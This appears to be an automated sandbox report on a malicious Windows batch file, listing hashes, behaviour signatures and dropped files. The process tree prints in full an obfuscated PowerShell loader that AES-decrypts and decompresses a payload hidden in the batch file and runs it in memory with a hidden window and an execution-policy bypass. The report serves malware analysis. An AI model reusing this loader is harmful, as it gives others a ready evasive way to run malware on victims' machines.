d3850a52c492fd7be069cf02e5ca9da6bff3d30fa09b97aa3e9c79979f96d170

Analysis

max time kernel
598s
max time network
601s
platform
windows10-2004_x64
resource
win10v2004-20221111-en
resource tags

arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
submitted
12/01/2023, 00:22

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General

Target

Cardlock_341121.bat
Size

59KB
MD5

b65fc5e20e962cbeda85ef448d1fba8e
SHA1

0b592f36e7f1561b5fab4925f37667be7aa1f5ee
SHA256

d3850a52c492fd7be069cf02e5ca9da6bff3d30fa09b97aa3e9c79979f96d170
SHA512

94337e8774e27e20576f06bc6592c021601a2f255d5779271f6aea527cbe969ff16d2cf7e899c60400f80ce50e156d9779764fe4d304c7d3e18fb4d082c5de9e
SSDEEP

1536:npuKFUvT3Hm6gFmMy9j8xC6aXdNBDh+7hGbU+0wFLY:npRUTBgFmzG0DBt+78bU+JFLY

Score

8^/10

Malware Config

Signatures

Executes dropped EXE 1 IoCs

pid	Process
4168	Cardlock_341121.bat.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4168	Cardlock_341121.bat.exe
4168	Cardlock_341121.bat.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4168	Cardlock_341121.bat.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4336 wrote to memory of 4168	4336	cmd.exe	81
PID 4336 wrote to memory of 4168	4336	cmd.exe	81

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Cardlock_341121.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4336
- C:\Users\Admin\AppData\Local\Temp\Cardlock_341121.bat.exe
  "Cardlock_341121.bat.exe" -noprofile -windowstyle hidden -ep bypass -command $XTQAJ = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Cardlock_341121.bat').Split([Environment]::NewLine);foreach ($IZwgy in $XTQAJ) { if ($IZwgy.StartsWith(':: ')) { $GtysS = $IZwgy.Substring(3); break; }; };$wITtD = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($GtysS);$koyaJ = New-Object System.Security.Cryptography.AesManaged;$koyaJ.Mode = [System.Security.Cryptography.CipherMode]::CBC;$koyaJ.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$koyaJ.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SychF8I561GWEMlxtN8++CMaf76H871o2t4LtIfb91s=');$koyaJ.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('h5tRjioHQN+zscLiG3ARFg==');$OKnOI = $koyaJ.CreateDecryptor();$wITtD = $OKnOI.TransformFinalBlock($wITtD, 0, $wITtD.Length);$OKnOI.Dispose();$koyaJ.Dispose();$QzGPh = New-Object System.IO.MemoryStream(, $wITtD);$SSeOQ = New-Object System.IO.MemoryStream;$yDqgG = New-Object System.IO.Compression.GZipStream($QzGPh, [IO.Compression.CompressionMode]::Decompress);$yDqgG.CopyTo($SSeOQ);$yDqgG.Dispose();$QzGPh.Dispose();$SSeOQ.Dispose();$wITtD = $SSeOQ.ToArray();$leFDo = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($wITtD);$GNwko = $leFDo.EntryPoint;$GNwko.Invoke($null, (, [string[]] ('')))
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4168

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\Cardlock_341121.bat.exe

Filesize
442KB

MD5
04029e121a0cfa5991749937dd22a1d9

SHA1
f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

SHA256
9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

SHA512
6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cardlock_341121.bat.exe

Filesize
442KB

MD5
04029e121a0cfa5991749937dd22a1d9

SHA1
f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

SHA256
9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

SHA512
6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

Download Submit
memory/4168-134-0x0000029209550000-0x0000029209572000-memory.dmp

Filesize
136KB

Download
memory/4168-136-0x00007FFD3A8C0000-0x00007FFD3B381000-memory.dmp

Filesize
10.8MB

Download
memory/4168-137-0x00007FFD3A8C0000-0x00007FFD3B381000-memory.dmp

Filesize
10.8MB

Download